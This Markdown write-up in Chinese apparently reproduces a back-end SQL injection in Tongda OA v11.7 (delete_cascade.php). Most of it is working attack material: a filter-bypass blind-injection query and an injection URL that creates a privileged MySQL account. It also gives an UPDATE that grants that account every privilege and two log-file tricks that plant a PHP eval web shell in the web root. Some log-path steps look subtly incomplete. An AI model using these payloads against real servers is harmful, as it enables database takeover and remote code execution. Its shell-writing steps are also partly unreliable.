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107 lines
4.2 KiB
Markdown
107 lines
4.2 KiB
Markdown
# 通达OA v11.7 delete_cascade.php 后台SQL注入
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## 漏洞描述
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通达OA v11.7后台存在SQL注入，可通过此漏洞写入恶意后门文件攻击目标服务器
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参考阅读：
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- [通达OA v11.7后台SQL注入到RCE[0day\]](https://mp.weixin.qq.com/s/8rvIT1y_odN2obJ1yAvLbw)
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## 漏洞影响
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```
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通达OA v11.7
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```
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## 环境搭建
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[环境地址](https://cdndown.tongda2000.com/oa/2019/TDOA11.7.exe)
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## 漏洞复现
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在 **general/hr/manage/query/delete_cascade.php** 文件中
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首先判断`$condition_cascade`是否为空，如果不为空，则将其中的`\'`替换为`'`。为什么要这样替换呢，主要是因为V11.7版本中，注册变量时考虑了安全问题，将用户输入的字符用`addslashes`函数进行保护，如下：
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**inc/common.inc.php** 代码
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使用盲注对SQL注入进行测试
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触发了通达OA的SQL注入拦截
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**inc/conn.php**文件中找到过滤机制如下:
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其过滤了一些字符，但是并非无法绕过，盲注的核心是：`substr、if`等函数，均未被过滤，那么只要构造MySQL报错即可配合`if`函数进行盲注了，翻看局外人师傅在补天白帽大会上的分享，发现`power(9999,99)`也可以使数据库报错，所以构造语句：
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```sql
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select if((substr(user(),1,1)='r'),1,power(9999,99)) # 当字符相等时，不报错，错误时报错
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```
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添加SQL数据库用户
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```sql
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grant all privileges ON mysql.* TO 'peiqi'@'%' IDENTIFIED BY 'peiqiABC@123' WITH GRANT OPTION
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```
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访问 **http://xxx.xxx.xxx.xxx/general/hr/manage/query/delete_cascade.php?condition_cascade=grant all privileges ON mysql. *TO 'peiqi'@'%' IDENTIFIED BY 'peiqiABC@123' WITH GRANT OPTION*
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进入 **Myoa/mysql5/bin** 目录 执行 **mysql -upeiqi -p** 输入密码查询所有用户
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发现成功执行添加一个账户
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然后该用户是对mysql数据库拥有所有权限的,然后给自己加权限：
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```sql
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UPDATE `mysql`.`user` SET `Password` = '*FBCFBB73CF21D4F464A95E775B40AF27A679CD2D', `Select_priv` = 'Y', `Insert_priv` = 'Y', `Update_priv` = 'Y', `Delete_priv` = 'Y', `Create_priv` = 'Y', `Drop_priv` = 'Y', `Reload_priv` = 'Y', `Shutdown_priv` = 'Y', `Process_priv` = 'Y', `File_priv` = 'Y', `Grant_priv` = 'Y', `References_priv` = 'Y', `Index_priv` = 'Y', `Alter_priv` = 'Y', `Show_db_priv` = 'Y', `Super_priv` = 'Y', `Create_tmp_table_priv` = 'Y', `Lock_tables_priv` = 'Y', `Execute_priv` = 'Y', `Repl_slave_priv` = 'Y', `Repl_client_priv` = 'Y', `Create_view_priv` = 'Y', `Show_view_priv` = 'Y', `Create_routine_priv` = 'Y', `Alter_routine_priv` = 'Y', `Create_user_priv` = 'Y', `Event_priv` = 'Y', `Trigger_priv` = 'Y', `Create_tablespace_priv` = 'Y', `ssl_type` = '', `ssl_cipher` = '', `x509_issuer` = '', `x509_subject` = '', `max_questions` = 0, `max_updates` = 0, `max_connections` = 0, `max_user_connections` = 0, `plugin` = 'mysql_native_password', `authentication_string` = '', `password_expired` = 'Y' WHERE `Host` = Cast('%' AS Binary(1)) AND `User` = Cast('peiqi' AS Binary(5));
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```
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然后用注入点刷新权限，因为该用户是没有刷新权限的权限的：`general/hr/manage/query/delete_cascade.php?condition_cascade=flush privileges;`这样就拥有了所有权限
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登录如果失败，执行
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```sql
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grant all privileges ON mysql.* TO 'peiqi'@'%' IDENTIFIED BY 'peiqiABC@123' WITH GRANT OPTION
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```
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利用漏洞写shell
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```sql
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# 查路径：
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select @@basedir; # F:\OA\mysql5\，那么web目录就是 F:/OA/webroot/
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# 方法1：
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set global slow_query_log=on;
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set global slow_query_log_file='F:/OA/webroot/';
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select '<?php eval($_POST[x]);?>' or sleep(11);
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# 方法2：
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set global general_log = on;
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set global general_log_file = 'F:/OA/webroot/';
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select '<?php eval($_POST[x]);?>';
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show variables like '%general%';
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```
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上传大马
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